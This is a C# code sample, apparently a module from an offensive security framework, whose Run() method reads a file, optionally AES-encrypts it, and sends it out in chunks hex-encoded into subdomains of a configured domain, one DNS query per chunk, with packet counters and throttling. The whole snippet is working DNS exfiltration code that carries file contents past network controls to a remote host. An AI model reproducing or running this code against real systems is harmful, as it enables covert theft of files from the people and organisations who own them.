Пример #1
0
        public override bool Run()
        {
            if (!File.Exists)
            {
                return(false);
            }

            DnsClient dns  = DnsServer == null ? DnsClient.Default : new DnsClient(DnsServer, 10000);
            bool      ipv6 = dns.Servers[0].AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6;

            // Get counter
            byte[] g;
            switch (Convert.ToInt32(Target["Size"]))
            {
            case 8: { g = BitConverterHelper.GetBytesInt64(CounterHelper.GetNextInt64()); break; }

            case 4: { g = BitConverterHelper.GetBytesUInt32(CounterHelper.GetNextUInt32()); break; }

            case 2: { g = BitConverterHelper.GetBytesUInt16(CounterHelper.GetNextUInt16()); break; }

            case 1: { g = new byte[] { CounterHelper.GetNextByte() }; break; }

            default: { g = BitConverterHelper.GetBytesInt64(DateTime.UtcNow.ToBinary()); break; }
            }

            // Copy file id
            bool sendPacketOrder = SendPacketOrder;
            int  headerLength    = g.Length;

            if (sendPacketOrder)
            {
                headerLength += 4;          // packetNum
            }
            byte[] data = new byte[63 / 2]; // hex 2 bytes per byte
            Array.Copy(g, data, g.Length);

            AESHelper aes = AESHelper.Create(this);

            if (aes != null)
            {
                WriteInfo("Using AES Encryption");
            }
            else
            {
                WriteError("Send in RawMode (without any Encryption)");
            }

            WriteInfo("Start sending file", HexHelper.Buffer2Hex(g, 0, g.Length), ConsoleColor.Green);

            byte[] crypted = null;

            if (aes != null)
            {
                using (Stream fs = File.OpenRead())
                    crypted = aes.Encrypt(fs, false, null);
            }

            int position = 0;

            using (Stream fs = (crypted == null ? (Stream)File.OpenRead() : (Stream) new MemoryStream(crypted)))
            {
                int total = (int)(fs.Length / (data.Length - headerLength));
                if (fs.Length % (data.Length - headerLength) != 0)
                {
                    total++;
                }
                WriteInfo("Sending " + (total) + " dns querys ...");

                StartProgress(total);

                while (true)
                {
                    // copy counter
                    if (sendPacketOrder)
                    {
                        byte[] p = BitConverterHelper.GetBytesInt32(position);
                        Array.Copy(p, 0, data, headerLength - 4, 4);
                    }
                    position++;

                    // read
                    int lee = fs.Read(data, headerLength, data.Length - headerLength);
                    if (lee <= 0)
                    {
                        break;
                    }

                    // generateFile
                    string name = HexHelper.Buffer2Hex(data, 0, headerLength + lee) + "." + DomainName;

                    dns.Resolve(name, ipv6 ? RecordType.Aaaa : RecordType.A);
                    if (Sleep > 0)
                    {
                        Thread.Sleep(Sleep);
                    }

                    WriteProgress(position);
                }

                EndProgress();
            }

            WriteInfo("Done");

            return(true);
        }